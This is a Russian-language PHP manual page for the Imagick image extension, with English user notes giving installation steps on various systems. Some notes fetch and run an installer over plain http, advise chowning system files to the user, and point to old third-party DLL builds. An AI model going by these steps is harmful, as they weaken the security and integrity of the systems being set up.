  $im = new Imagick();

  // Convert image into Imagick
  $im->readimageblob($image);

  // Create thumbnail max of 200x82
  $im->thumbnailImage(200,82,true);

  // Add a subtle border
  $color=new ImagickPixel();
  $color->setColor("rgb(220,220,220)");
  $im->borderImage($color,1,1);

  // Output the image
  $output = $im->getimageblob();
  $outputtype = $im->getFormat();

  header("Content-type: $outputtype");
  echo $output;


Введение

Imagick является встроенным модулем PHP для создания и изменения изображений используя API ImageMagick.

ImageMagick представляет собой набор программного обеспечения для создания, редактирования и компонования растровых изображений. Он может читать, конвертировать и записывать изображения в различных форматах (более 100), включая DPX, EXR, GIF, JPEG, JPEG-2000, PDF, PhotoCD, PNG, Postscript, SVG, и TIFF.

ImageMagick Studio LLC, некоммерческая организация, специализирующаяся в разработке графического программного обеспечения, доступного бесплатно.

User Contributed Notes

There are no user contributed notes for this page.


Установка и настройка

Содержание

  • Требования
  • Установка
  • Настройка во время выполнения
  • Типы ресурсов

User Contributed Notes

justahelpfullnote at nononono dot no 16-Nov-2022 05:54
For windows users, I found this, hope this help

https://mlocati.github.io/articles/php-windows-imagick.html

thank you Michele Locati
Spaceman 20-Dec-2020 08:26
If you want to install ImageMagick on Nginx for Windows, in addition to setting php_imagick.dll extension, you should set an environment variable like so:

- First download ImageMagick package (if you haven't already) *
https://windows.php.net/downloads/pecl/deps/

- Extract it to any folder for example "C:\ImageMagick-xxx\"

- Edit the "PATH" variable and add a new entry with value "C:\ImageMagick-xxx\bin"

* Note: The ImageMagick package you download should match your php Compiler (i.e Visual C++ 2017), Architecture (i.e x86 or x64) and "Thread Safety". All of these can be viewed from php_info()
Rob Oz 12-Dec-2016 07:09
Just a note that the 'Ian Co' instructions for 'Installing ImageMagick on UwAmp for Windows' also works for XAMPP.  Just change the paths accordingly.
laszlo dot phpnet at lieszkovszky dot com 27-May-2016 03:08
Addendum to Ian Co's "Steps to Install ImageMagick for Windows" specifically for Uniform Server Z and how to fix if you get an empty list of ImageMagick supported formats):

Thanks to Ian Co's comments above for setting me in the right direction.

My Uniform Server is installed to B:\UniServerZ, adjust the following steps to your specific installation.

If you've been messing around with a gazillion solutions like me, first delete any previous copies of imagemagick dll-s (i.e. IM_MOD_RL...dll-s, CORE_RL...dll-s) from your sysem, i.e. I had copied them to C:\Windows\system, B:\UniServerZ\core\php56, B:\UniServerZ\core\php56\extensions.

1. Download ImageMagick-6.8.9-1-vc9-x86.zip from http://windows.php.net/downloads/pecl/deps/

Extract contents of bin folder to B:\UniServerZ\core\php56 (or whichever vresion of php you are using)

2. Download the appropriate imagick package from  http://pecl.php.net/package/imagick/3.1.2/windows
For me the right one was  php_imagick-3.1.2-5.6-ts-vc11-x86.zip , check phpinfo whether you need the thread-safe version or not and which architecture.

Extract php_imagemagick.dll ONLY (and not the other dll-s) to B:\UniServerZ\core\php56\extensions

Previously I had tried ImageMagick-6.9.3-7-vc11-x86.zip and ImageMagick-6.9.3-7-vc14-x86.zip but the dll-s here did not work, perhaps because Uniform Server was compiled using VC9? and these were compiled with later versions!? What a mess.

I had also tried creating a C:\ImageMagick and adding it to PATH user-level and to MAGICK_HOME system-level environment variables, but this proved unnecessary (although it also works).

Also, installing the windows binary releases from
http://www.imagemagick.org/script/binary-releases.php#windows
was unnecessary (and might actually mess things up if windows tries those dll-s first).
bradchesney79 at gmail dot com 25-May-2016 05:58
So, your installation in general works so that you can display the output from a PHP script-- even phpinfo(); works. Great start. If not, you likely have bigger problems or are compiling imagick into PHP. Best of luck.

But, back to where we are; PHP in general works, except the imagick extension isn't working or needs installed or something.

There is some very helpful information in the phpinfo(); output blocks.
(If phpinfo(); means nothing to you, hit the google. We'll wait.)

Notably the php.ini that PHP is using can be found there, very important. --Many instructions will tell you to put "extension=imagick" into it.

Better would be to create an imagick.ini file (that has "extension=imagick" inside) in the directory scanned for additional .ini files.

This is nice when the machine you are working on has multiple php.ini files and unused configurations  littered about. phpinfo(); will tell you where the resources being used can be located in the file system.

Helpful to me, thought I'd share...
nkmol 02-Apr-2016 09:21
I have spent many hours trying to get Imagick work on Windows. Finally I have succeeded!

A post on StackOverflow has been made so everyone can see it:
http://stackoverflow.com/questions/18375092/imagick-php-windows/36378764#36378764
Ian Co 30-Mar-2016 05:30
Steps to Install ImageMagick on UwAmp for Windows:
as of March 31, 2016
Detailed guide for newbies like me.

... continued

4. Goto:

    http://pecl.php.net/package/imagick

    as of today, latest is 3.4.1 so I went to:
    http://pecl.php.net/package/imagick/3.4.1/windows

    My PHP version is: 5.6.18, and Thread Safety is Yes from
    Step #1, so I downloaded:
       5.6 Thread Safe (TS) x86
    I got: php_imagick-3.4.1-5.6-ts-vc11-x86.zip

5. Unzip and copy "php_imagick.dll" to the php extension folder:

    In my case:
    php_imagick.dll --> C:\UwAmp\bin\php\php-5.6.18\ext

    Note: this ZIP also contains dlls which other guides says
    to extract to the extension folder of apache.
    NO NEED TO DO IT. Step #3 has taken care of it.

6. Edit "php.ini" and add at the very end (could be
    anywhere I suppose):

      [Imagick]
      extension=php_imagick.dll

      For super newbies: click the edit button in the UwAmp UI,
      "php_uwamp.ini" will open and edit it. It will be copied to
      the correct php.ini when UwAmp is restarted. I had
      trouble at first since there are several php*.ini scattered
      all over.

7. Restart Apache

8. Check PHPInfo
    scroll to section (or find): imagick
    number of supported formats: 234

    If there is no "imagick" section or "supported format" is 0,
    something went wrong.

Hope this helps.
Ian Co 30-Mar-2016 05:29
Steps to Install ImageMagick on UwAmp for Windows:
as of March 31, 2016
Detailed guide for newbies like me.
Took a long time to get it to work.

I initially followed:
http://php .net/manual/en/imagick.installation.php
but after installation, PHPInfo under imagick shows
number of supported formats = 0

So I followed these steps, clobbered from various sources
to get it to work.

1. Open PHPInfo and check:
   Architecture = x86 or x64
   Thread Safety = yes or no

2. Download ImageMagick from:

   http://windows.php.net/downloads/pecl/deps/

   In my case I downloaded: ImageMagick-6.9.3-7-vc11-x86.zip
   because the Architecture under PHPInfo is x86
   as for vc11 or vc14
   search google for "visual c++ 11 runtime" or
   "visual c++ 14 runtime" and install it

3. Unzip and copy all dlls from the bin subfolder to the
    Apache bin directory. It's a bunch of CORE_RL_*.dll
    and IM_MOD_RL_*.dll plus a few other dlls.

    In my case, I installed UwAmp in C:\UwAmp, so:
    (from zip) bin/*.dll --> C:\UwAmp\bin\apache\bin
noreply at gmail dot com 24-Dec-2015 06:38
For installing imagick in Windows do the following:

1. Download and install the ImageMagick API from http://www.imagemagick.org/script/binary-releases.php#windows. (In my case, I installed the lastest version: ImageMagick-6.9.2-10-Q16-x64-dll.)

2. Go to http://pecl.php.net/package/imagick and choose the version of imagick that best suits your PHP version. (Because I had PHP 5.4 I downloaded "php_imagick-3.3.0-5.4-ts-vc9-x86.zip".

3. Extract the contents of the zip file and go to the directory where the files were extracted.

4. Copy the php_imagick.dll in yout PHP's ext folder.

5. All the other dll that you extracted from the zip file can go into  apache's bin directory. In my case, I have apache 2.2 and the bin directory is at: C:\Program Files (x86)\Apache Software Foundation\Apache2.2\bin.

6. Activate the extention in your PHP.ini file by adding the following:
[Imagick]
extension: "C:\Program Files (x86)\PHP\ext\php_imagick.dll"

7. Restart apache
8. Sit back and relax
raaghu1987 at gmail dot com 25-Feb-2015 04:06
This works for me

http://refreshless.com/blog/imagick-pecl-imagemagick-windows/
erigocn at gmail dot com 07-Nov-2014 01:37
Mac 10.10 Yosemite

install php via "Homebrew", then:
$ brew install php53-imagick

and then:
reload php-fpm (or restart apache)
JV 09-Aug-2014 04:20
To install on Ubuntu or Debian, using the package manager, use:

sudo apt-get install php5-imagick
sudo service apache2 reload
Martin dot Winstrand (a) gmail dot com 02-Apr-2013 03:19
Sins I tried around a lot and searched the net to find a working dll for ImageMagic and PHP5.4, with bad results I at last found one working.
There is a guy (Mikko) that has a blog and he wrote about this and and have compiled a working solution. You find his blog about this here: http://valokuva.org/?m=201211.

Hope that this helps others as well.
Valera Rozuvan 02-Jun-2012 07:08
Recently I had to install ImageMagick on FreeBSD. The following commands achieved this without a problem.

cd /usr/ports/graphics/ImageMagick-nox11/
make install clean
service apache22 stop
cd /usr/ports/graphics/pecl-imagick/
make install clean
service apache22 start

NOTE: For some of the package dependencies you will be prompted to select optional add-ons. I left all the config options untouched except for those which provided integration with the X11 system. Those once I disabled.
admin at pankajgrover dot co dot cc 19-Oct-2011 12:30
Simple way to install ImageMagick on your linux machine(RHEL5,Cent OS 5)

#yum install ImageMagick*
#pecl install imagick sometimes you may have ask to install gcc compiler. if so execute #yum install gcc*
added the extension on php.ini
#echo "extension=imagick.so" >> /etc/php.ini
#service httpd restart
djcox99 at googlemail dot com 05-Jan-2011 04:48
I have php 5.3.1 running on apache on windows (with xampp)
to get this working i installed the appropriate image magick from here http://imagemagick.org/script/binary-releases.php#windows

Then i needed the php_imagick.dll for vc6 (because im on apache not iis).

After a bit of searching i found someone hosting it here :
http://www.sk89q.com/2010/03/vc6-windows-binaries-for-imagick-2-3-0/

Hope this helps ^^
matija kancijan - kancija[]gmail dot com 01-Sep-2010 02:36
it is important to install correct version of Visual C++ redistributable Package.

for ImageMagick-6.5.8-10-Q16-windows-dll.exe -
Visual C++ 2008 Redistributable Package

http://www.microsoft.com/downloads/details.aspx?FamilyID=9b2da534-3e03-4391-8a4d-074b9f2bc1bf
William Sze 06-Aug-2009 12:47
After 2 hours of looking for help from different documentation & sites, I found out none of them are complete solution.  So, I summary my instruction here:

1) yum install php-devel
2) cd /usr
3) wget http://pear.php.net/go-pear
4) php go-pear
5) See the following line in /etc/php.ini [include_path=".:/usr/PEAR"]
6) pecl install imagick
7) Add the following line in /etc/php.ini [extension=imagick.so]
8) service httpd restart

Hopefully, I can save other engineer effort & time.... Good luck!
acliyanarachchi at gmail dot com 12-Mar-2009 04:11
If you have used lampp first copy imagick.so from /usr/lib/php5/20060613+lfs/imagick.so path and paste it to php lib.(/opt/lampp/lib/php/extensions/no-debug-non-zts-20060613)
Then edit your php.ini and add extension=imagick.so
ynzhang from lakeheadu canada 16-Feb-2009 05:57
imagick 2.2.2 might have a problem loading in PHP 5.3 by giving following error at start-up:

PHP Warning:  PHP Startup: Unable to load dynamic library '.../imagick.so' - .../imagick.so: undefined symbol: XStringListToTextProperty in Unknown on line 0

in this case, revert to PHP 5.2.8 and imagick-2.2.0 will work just fine.
nonproffessional at clockworkgeek dot com 15-Oct-2008 03:09
I too had the error "Please provide a path to MagickWand-config or Wand-config program." when installing on linux (in this case CentOS aka Red Hat).

The simple solution was to ensure "ImageMagick-devel" and NOT "ImageMagick" package was in place. Next comes the standard command:
pecl install imagick

Lastly, and as per the otherwise flawless instructions, edit php.ini to include:
extension=imagick.so
marcel dot ouellette at gmail dot com 02-Sep-2008 10:38
For anyone attempting to install the binaries on windows xp, don't waste your time.  You'll need to install this on windows 2003 Server (and up) or Windows Vista since there are dependences (msvcr80.dll) that will require it.
colnector is from domain colnect.com 13-Jul-2008 05:10
Windows installation is a bit more tricky since "pecl install imagick" does NOT work properly.

Here's how I installed it:
1/ Install ImageMagick software http://www.imagemagick.org/script/binary-releases.php#windows
2/ Download pecl-5.2-dev.zip (choose the version relevant to your PHP) from http://snaps.php.net/
3/ Copy php_imagick.dll from the archive you've downloaded to your PHP extention folder.
4/ Add the following line to php.ini (in the exntentions section):
extension=php_imagick.dll
5/ Restart your server
6/ Try the example script to see all went well

Good luck :)


Требования

Требования для установки на платформах, отличных от Windows

Требуется ImageMagick >= 6.2.4. Количество поддерживаемых Imagick форматов файлов зависит от количества поддерживаемых форматов установленного ImageMagick. Например, Imagemagick требует ghostscript для проведения операций с PDF документами.

User Contributed Notes

Vee W. 27-Nov-2020 04:07
Imagick multiple versions available on https://windows.php.net/downloads/pecl/releases/imagick/
You can download ImageMagick library (many versions) from https://windows.php.net/downloads/pecl/deps/

The installation instruction is in https://mlocati.github.io/articles/php-windows-imagick.html

== Copied from the above URL ==
1. Extract from php_imagick-....zip the php_imagick.dll file, and save it to the ext directory of your PHP installation
2. Extract from ImageMagick-....zip the DLL files located in the bin folder that start with CORE_RL or IM_MOD_RL, and save them to the PHP root directory (where you have php.exe), or to a directory in your PATH variable
3. Add this line to your php.ini file: extension=php_imagick.dll
4. Restart the Apache/NGINX Windows service (if applicable)
liuwld at qq dot com 30-Jan-2019 08:42
from the last note, I post the following message:
=============
Windows 10 + Apache 2.4.37 + PHP 7.2.14 x64 vc15 ts
download:
https://windows.php.net/downloads/pecl/snaps/imagick/3.4.3/php_imagick-3.4.3-7.2-ts-vc15-x64.zip
https://windows.php.net/downloads/pecl/deps/ImageMagick-7.0.7-11-vc15-x64.zip
extract php_imagick.dll to ext/
extract ImageMagick-7.0.7 to one path
ADD ImageMagick-7.0.7/bin to SYSTEM PATH
ADD "extension=imagick" in php.ini
ADD LoadFile "/yourImageMagickPath/bin/CORE_RL_Magick++_.dll" in httpd.conf

Then it works.
=============
Today, I setup a new windows 10 1809 system + Apache 2.4.38 and found a new problem that cannot loaded imagick extension. But after I installed Visual C++ Redistributable for Visual Studio 2015 from MS site, all work ok. And the operation `ADD LoadFile "/yourImageMagickPath/bin/CORE_RL_Magick++_.dll" in httpd.conf` is not need.
liuwld at qq dot com 22-Jan-2019 12:56
Windows 10 + Apache 2.4.37 + PHP 7.2.14 x64 vc15 ts
download:
https://windows.php.net/downloads/pecl/snaps/imagick/3.4.3/php_imagick-3.4.3-7.2-ts-vc15-x64.zip
https://windows.php.net/downloads/pecl/deps/ImageMagick-7.0.7-11-vc15-x64.zip
extract php_imagick.dll to ext/
extract ImageMagick-7.0.7 to one path
ADD ImageMagick-7.0.7/bin to SYSTEM PATH
ADD "extension=imagick" in php.ini
ADD LoadFile "/yourImageMagickPath/bin/CORE_RL_Magick++_.dll" in httpd.conf

Then it works.
Alex Ivaylov 31-Aug-2017 06:48
Unfortunately the Windows binaries downloaded from the Imagemagick website did not work with PHP 7. It seems that they used Visual C++ 2013 to compile imagemagick while PHP used Visual C++ 2015. There is another build of imagemagick which worked with PHP 7 here: http://windows.php.net/downloads/PECL/deps/


Установка

Этот модуль » PECL не поставляется вместе с PHP.

Информация по установке этого модуля PECL может быть найдена в главе руководства Установка PECL модулей. Дополнительная информация, такая как новые версии, скачивание, исходные файлы, информация о разработчике и CHANGELOG, может быть найдена здесь: » https://pecl.php.net/package/imagick.

Замечание: Официальное название этого модуля - imagick.

Пользователи Windows могут загрузить готовый DLL файл со страницы » PECL. Эти пакеты уже содержат DLL-модуль (php_imagick.dll), который необходимо поместить в extension_dir. Они также содержат DLL-библиотеки ImageMagick, которые необходимо поместить где-нибудь в PATH. Начиная с Imagick 3.6.0, они также содержат файлы конфигурации XML в config; чтобы использовать их вместо встроенных значений по умолчанию, их необходимо поместить в %USERPROFILE%/.config/ImageMagick или, вместо этого по пути, заданном в переменной окружения MAGICK_CONFIGURE_PATH. Дополнительные сведения смотрите в » документации по файлам конфигурации ImageMagick.

User Contributed Notes

Anonymous 20-Apr-2023 09:00
Using imagick with xampp on windows 10:

it took me some time to make it work but in the end it was just me messing up what version of imagick i downloaded.

go to C:\xampp\htdocs and create a test.php file with:
<?php
phpinfo();
?>

open C:\xampp\xampp-control.exe and start your Apache server.

in your browser open http://localhost/test.php

`CTRL F` search for `PHP Version` and write down the PHP version. (example: 7.2.24)

`CTRL F` search for `Thread Safety` and check if its enabled of disabled (example: Enabled)

`CTRL F` search for `Architecture` and the Architecture type (example: x64)

go to https://mlocati.github.io/articles/php-windows-imagick.html and select your php version, thread safety and Architecture and download the .zip. (example  php_imagick-3.4.4-7.2-ts-vc15-x64.zip)

place the zip inside of C:\xampp\php and extract it.

also place the zip inside of C:\xampp\php\ext and extract it.

open file C:\xampp\php\php.ini and `CTRL F` search for `; Dynamic Extensions ;` and add the line `extension=php_imagick.dll`.

open C:\xampp\xampp-control.exe and restart your Apache server.

in your browser open http://localhost/test.php and  `CTRL F` search for `imagick` and it should be added.
brunomarcospereira at gmail dot com 04-Apr-2018 04:09
How to install Imagick in Windows 10 with PHP Built In Server:

1.0 - Download Imagick with its dependencies on: https://windows.php.net/downloads/pecl/deps/
1.1 - Copy all the .DLL from the "bin" folder to the root of your PHP (e.g.: C:\php-7.1.2-Win32-VC14-x64);
2.0 - Download the DLL according to your version of PHP in: http://pecl.php.net/package/imagick/3.4.3/windows
2.1 - Copy the DLL "php_imagick.dll" to the "ext" directory (e.g.: C:\php-7.1.2-Win32-VC14-x64\ext).
3.0 - Add the line in php.ini: extension=php_imagick.dll
4.0 - Restart the PHP server.

Note: the mime-types of the images will be "image/x-jpeg", "image/x-png"...
Robert Badi Baldursson 29-Jan-2018 07:56
I have XAMPP version 3.2.2 and PHP 7.1. I was having trouble installing imagick by following Ian Co's notes and then some other very well written tutorials.

However, the imagick module would never show up in phpinfo() but only in the console when typing "php -i" which I found very odd.

It finally turned out that the mistake was to tell me to copy ImageMagic's CORE_RL_* and IM_MOD_RL_* files to C:\xampp\Apache\bin. They needed to be copied to the php root folder where php.exe resides (C:\xampp\php).

When I did that ... boom ... imagick module appeared in phpinfo() finally!
barthuisman at gmail dot com 27-Mar-2017 09:07
If you're on a Ubuntu or debian machine, please don't dive into all those pecl stuff, but just use:

sudo apt-get install php7.1-imagick

where php7.1 is your php version, so could be different.
microzonebitzz at yahoo dot com 09-Feb-2017 06:26
With Ubuntu 16.04 (Xenial) with PHP 5.6 not 7. PHP 7 was disabled.

1. sudo apt-get update
2. sudo apt-get install imagemagick php5.6-imagick
support at vipp dot com dot au 18-Sep-2015 06:23
I tried installing imagick extension on WHM/Cpanel but it didn't work. the error message was
could not extract the package.xml file
This seems to be a bug in PHP 5.5 as reported by users.

I finally installed this extension from command line. Here are the steps I used just in case someone is experiencing similar problem and is looking for a solution.

1. install ImageMagick from rpm repository in WHM.  the version I installed is ImageMagick 6.7.2-7

2. log in the server via ssh,

3. download the latest version of imagick, unpack and install. the version I downloaded is imagick-3.3.0RC2.tgz

wget http://pecl.php.net/get/imagick-3.3.0RC2.tgz
tar xvf imagick-3.3.0RC2.tgz
cd imagick-3.3.0RC2
phpize
./configure
make
make install

the extension was successfully installed

4. in WHM, go to PHP configuration editor, in advanced mode, search extension, and add imagick.so in the list of extension enabled. this can of course be added using a command line editor.

extension=imagick.so

5. restart apache. imagick is there now.
My server runs
PHP Version     5.5
cPanel Version     11.50.0 (build 30)

I hope it works for someone else too.
gollariel at gmail dot com 03-Sep-2015 07:52
I had an error during installation:

checking ImageMagick MagickWand API configuration program... found in /usr/bin/Wand-config
checking if ImageMagick version is at least 6.2.4... configure: error: no. You need at least Imagemagick version 6.2.4 to use Imagick.
ERROR: `/tmp/pear/temp/imagick/configure --with-imagick' failed

Set is obtained as follows:

sudo apt-get remove graphicsmagick-libmagick-dev-compat imagemagick imagemagick-common
sudo apt-get autoremove
sudo apt-get install libmagickwand-dev
sudo pecl install imagick-beta
kmteoh at hotmail dot com 22-Sep-2014 03:28
for PHP 5.3 Windows user who try to install, here is the note where I have spent near 4 hours to get concluded:

- you need NOT LATEST but 6.7.7 imagemagic engine: http://ftp.sunet.se/pub/multimedia/graphics/ImageMagick/binaries/ImageMagick-6.7.7-5-Q16-windows-dll.exe (tips by justinjacob @ http://stackoverflow.com/questions/20440968/installing-php-imagick-dll-php-extension-on-wampserver-2-2)

- http://windows.php.net/downloads/pecl/releases/imagick/3.1.2/ TS version work just fine, make sure you restart apache after install both above, in order.

- if it says 'CORE_RL_WAND' not found, you probably want to move all CORE_* files from /ext folder to one above.
feedback at weknowtoomuch dot com 20-Nov-2013 12:28
I have PHP 5.3.24

I just did that:
 -  Download proper extension version from
    http://windows.php.net/downloads/pecl/releases/imagick/
    I picked 3.1.2 which is the latest non-beta at this time
 -  Unzip and copy php_imagick.dll to PHP ext folder
 -  add
[PHP_IMAGICK]
extension=php_imagick.dll
   to php.ini
 -  Download recommended Imagick version and install from:
    http://imagemagick.org/script/binary-releases.php#windows
   ( I chose to have C headers and also COM objects during installation)
 -  Restart apache
 -  Check phpinfo() for Imagick section... there it is!

Nothing out of ordinary for a PHP extension... I don't know what the fuss is...
holdoffhunger at gmail dot com 30-May-2013 08:55
There is a big disclaimer that should be made to all those about to venture on ImageMagick programming using PHP: the great, vast majority of WAMP (Windows-Apache-MySQL-PHP) servers do not support ImageMagick commands at all, since it is a "different package," and there appears to be no way to install ImageMagick through standard Add/Remove Applications within Linux (as far as standard Debian linux releases go).  It's very easy to get Apache/PHP running in either Windows or Linux with pretty much any standard OS/distro supported so that you can run all of your own code on your own computer.  But that's definitely not the case when you want Imagick to cooperate with your Apache server and your PHP code!

It took me almost an entire week just to get Apache/PHP/ImageMagick working all together nice and happily so that I could run my own PHP code on my own machine (natively, too).  So, I decided to simply write down the steps, to help anyone else out who could need help.

Guide to Building an Apache/PHP/Imagick Server with Linux/CentOS 6.4:::

1. Install CentOS 6.4.  (Theoretically, other versions of CentOS should work as well, but I simply chose the most recent one.)  Also, you can very easily emulate CentOS within Windows (for instance, the unfree choice of VMWare).
2. Install PHP, PHP-Common, PHP-extensions, etc., from standard Application Package Manager ("Add/Remove Programs", usually in system tools somewhere).  (You don't have to worry about Apache, because that comes with CentOS 6.4 anyway.)
3. Open up a terminal and enter admin mode with the command "su".  You'll need a password for this.
4. Enter this command: yum install ImageMagick ImageMagick-devel
5. Enter this command: pecl install imagick
6. Modify php.ini and include the line "extension=imagick.so".  This file is located at "/etc/php.ini" normally.  The line must be exactly inserted in the section of "Dynamic Extensions", which begins with this commented out text:

--------------------------------
;;;;;;;;;;;;;;;;;;;;;;
; Dynamic Extensions ;
;;;;;;;;;;;;;;;;;;;;;;
--------------------------------

Use the "search" feature of gedit to find the text.  Add the extension below the commented out note in this section so that the result looks like:

--------------------------------
;;;;
; Note: packaged extension modules are now loaded via the .ini files
; found in the directory /etc/php.d; these are loaded by default.
;;;;

extension=imagick.so
--------------------------------

Putting the extension directly at the top caused me serious permission issues in running Imagick code.  Also, with CentOS, the permissions automatically disable user control for this php.ini.  Enter the following terminal command: "chown [YOUR-USERNAME] -R /etc/php.ini", without the quotes to get control to modify it.  Note to insert your username where it states "[YOUR-USERNAME]".
7. Enter this command: "service httpd restart", without quotes, from admin mode.  This restarts Apache/PHP/PHP's extensios now that you've installed ImageMagick.  If this gives you an error, just try "service httpd start".

My favorite part about this method is that you can update your system with issuing the "yum update" command and then the "yum upgrade" command -- and the Apache/PHP/Imagick combo will still be working perfectly!  Unlike some other guides out there for this, you don't need to rely on antiquated, unsupported versions that can be nearly impossible to find.  Also, you don't need to worry about the MySQL, Hash, MBString, Exif packages, because they all seem to be installed and properly cooperating with PHP automatically after installing PHP from the Application Manager.  This solution makes everything work well together.

The root directory of your public files is located at /var/www/html/.  Normally, this folder is not owned by the user, so you'll get a permission error when trying to add files or folders to it.  Correct that with entering admin mode in the terminal/command-line window ("su" command) and entering the following command: "chown [YOUR-USERNAME] -R /var/www/html/", without quotes.  Again, replace "[YOUR-USERNAME]" with your actual user name.  (Warning: The first time I did this, I was lazy and entered the command for only the "/var/" folder, which prevented my system ever from booting.  It would always freeze with the notorious and googleable erro-message: "Could not update ICEauthority file /var/lib/gdm/.ICEauthority".  So, make sure to change ownership only for "/var/www/html/".)

To view your root directory files as compiled, resultant, PHP pages, open up a browser and enter "127.0.0.1" as the address.  So, a file in your root directory would be accessed at the following URL in your browser: http://127.0.0.1/your.file.php .  If you get a "could not connect" error message, try the command "service httpd start" at the terminal window from admin mode.  (You have to start this service manually every time the machine boots, although there's plenty of ways to automate it.)

I hope this helps!  I tried a hundred different guides on getting Apache/PHP/Imagick to work together and none of them worked.  Don't give up!  ImageMagick is a package of really neat imaging functions!
Baasha 10-May-2013 09:28
To install on debian simply try:

apt-get install php5-imagick

on ubuntu:

sudo apt-get install php5-imagick
Dmitry Semenov 14-Feb-2013 10:06
If you tried to install it on Linux and got this message

pecl install imagick

/var/tmp/imagick/php_imagick.h:49:31: fatal error: wand/MagickWand.h: No such file or directory
compilation terminated.
make: *** [imagick_class.lo] Error 1
ERROR: `make' failed

this is what solves it:

yum install ImageMagick-devel
vbsaltydog 30-Jul-2010 08:31
I could not install via PECL or compiling from source because of an error from line 3339 of the configure file generated by phpize so I looked at the configure file at line 3339 and it was just a check for the PHP version using the php-config command with the --vernum switch which was not supported by my PHP version so I commented out that check from the configure file and then it would configure, compile, and install.

After installation, it put the shared object file in my php extension modules directory so I added an entry to my /etc/php.d directory to load the extension file and restarted apache and the imagick section is present in my info.php output.
Martin Vincent 22-Jan-2010 08:32
For PHP 5.3 I have read that these versions should work:
ImageMagick-6.5.9-0-Q16-windows-dll.exe
imagick-2.3.0-dev/vc9_nts/php_imagick.dll
scottchu dot tw at gmail dot com 22-Dec-2009 07:17
PECL install imagick contantly fails due to the server is behind some firewall, so one may try 'phpize' way to install.

However, someone like me who doesn't want to use default options may experience thru failure situation. And if you google thru the cloud, you may find many people tell you to rpm imagick-devel with yum or apt. That does solve the problem.

However, In my case, my server already has php 5.3.1 installed under /usr/lcal/php & the linux doesn't have yum or apt service. Furthermore, I just installed imagemagick yesterday (Also quite a battle =.=) under /usr/local/imk

(note: You may see that I don't like default options, I like to install each package under different dir under /usr/local).

Today, I want to install imagick, so this is what I do:

1> add /usr/local/php/bin & /usr/local/imk/bin to path.

2> download imagick source of intended version (I use 3.0.b1).

3> enter that dir & issue 'phpize'.

(note:I got a habit to issue './configure --help > oo' & 'view oo' to see all the options first before installation)

4> 'vi configure' & find LIBS, then add '-l/usr/local/imk/lib' after it.

5> issue './configure --prefix=/usr/local/ik4php' --with-imagick='/usr/local/imk'.

(note: with-imagick points out where you install the imagicmagick package before, this name 'imagick'  is not appropriate since it incurs ambiguity with imagick for php =.=)

6> after it's done, issue 'make'.

7> after make is done, issue 'make install'.

(note:the last two output lines will tell you where to find the generated shared object library file: imagick.so)

8> go to that dir & copy imagick.so to the extension dir defined in php.ini.

(note: in my case it's /usr/local/php/ext)

9> edit php.ini to add 'extension=imagick.so' line.

10> stop & start apache or just restart apache.

(note: if you have tomcat + apache + jk module installation style as mine, shutdown tomcat, stop apache, then startup tomcat first, then start apache)

If you have similar server environment & situation as mine, hope this article helps you.

Scott Chu @ Taiwan
gmorris at ilogsystems dot com 20-Oct-2009 11:11
I struggled to get imagick installed for mamp and dug high and low. I
was left with the impression that so many struggle with opensource and
 this type of install that it is almost a right of passage. For my part, I
 managed to find two threads that helped me and the steps work. A lot
 of people talked about macports and pear installs which are fine(I tried
 them), but 1) they sometimes don't get the latest version of what
 you need and 2) I can't tell what they're doing and where they're doing it.

It's much easier to me to download the stuff where i want it and be
sure of what i got!

First of all download a tar image of the ImageMagick install from here:
sourceforge.net/projects/imagemagick/files/

Unpack it and then from terminal issue the following commands in
 quotes:
1.  "cd ImageMagick-6.5.7" - go where you placed the folder

2.  "./configure"

3.  "make"

If ImageMagick configured and compiled without complaint, you are
 ready to install it on your system. Administrator privileges are
 required to install. To install, type the following command in terminal:

1.  "sudo make install"

To check your ImageMagick installation enter the following command
 in terminal:

1. "make check"

Remember all commands are entered into terminal in the directory in
 which you unzipped your downloaded ImageMagick tar file. (the latest
 version of which at this time of writing is ImageMagick-6.5.7.)

Next we need to install Imagick.so which is what we want for PHP.

First of all we need to get the right file and we can get that from here:

pecl.php.net/package/imagick/download

At current writing the latest stable version is imagick-2.3.0.

Unpack the tar file and then enter the commands in quotes in terminal:

1.  "cd imagick-2.2.3" - go where you placed the folder

2.   "phpize"

3.   "./configure --with-imagick=/opt/local"

4.   "make"

5.    "make install"

If you look at the bottom of the output, it will tell you where it has
placed the imagick.so module. For me it was placed in:

/imagick-2.3.0/modules

which is where i had unpacked the downloaded imagick-2.3.0 file.

Then copy it into your MAMP PHP extensions folder.

For me it was:
/Applications/MAMP/bin/php5/lib/php/extensions/no-debug-non-zts
-20050922/

Then, for PHP to honor the the extension, add the following line to the
 extensions section of your php.ini file:

extension=imagick.so

You should now have a working imagick extension with all of the
 resources for php found here:
php.net/manual/en/book.imagick.php

I will not claim credit for anyone for whom this works, that goes to:

Imagemagick who posted instructions here:
www.imagemagick.org/script/install-source.php

and Wallance who posted his experience here:
www.daniweb.com/forums/thread194181.html#

I really hope this helps others because developing this stuff is
frustrating enough without spending hours or even days just trying to set
 up the development environment so you can use the tools.
elia weiss 12-Sep-2009 12:33
if you get the following error on windows (vista):
'The application has failed to start because its side-by-side
configuration is incorrect. Please see the application event log
 for more detail.'

then install:
Visual C++ 2008 Redistributable Package (x86)
from:
http://www.microsoft.com/downloads
/details.aspx?familyid=A5C84275-3B97-4AB7-A40D-3802B2AF5FC2

see:
http://www.imagemagick.org/script/binary-releases.php#windows
for more info (scroll to the end of the page)
Ultimater at gmail dot com 28-Jul-2009 07:41
Installing Imagick on Windows isn't too hard.  I followed the guide at http://valokuva.org/?page_id=50 and managed to install it without too much sweat.

1. Visit http://imagemagick.org/script/binary-releases.php#windows and download "ImageMagick-6.5.4-6-Q16-windows-dll.exe"

2. Pick a version at http://valokuva.org/outside-blog-content/imagick-windows-builds/ The directories are in YYMMDD format. The latest version that worked for me was 2008-Jul-09 so download 080709/php_imagick_dyn-Q16.dll respectively.

3. Rename php_imagick_dyn-Q16.dll to "php_imagick.dll" and move it to php/ext

4. open php.ini, and make sure
extension=php_imagick.dll
appears in the file and uncommented then resave.
Note: phpinfo() will tell you the location of the loaded php.ini file.

5. Re-start your webserver.

That's it, a simple test will tell you if your installation was successful.
<?php
$im = new Imagick();
$im->newPseudoImage(100, 100, "magick:rose");
$im->setImageFormat("png");
$im->roundCorners(5,3);
$type=$im->getFormat();
header("Content-type: $type");
echo $im->getimageblob();
?>
Anonymous 28-Apr-2009 12:54
Installation of Imagick on Windows:
-------------------------------------------

Here an important hint for all who want to use Imagick:

First of all: Forget this PECL.
It is for Linux only.

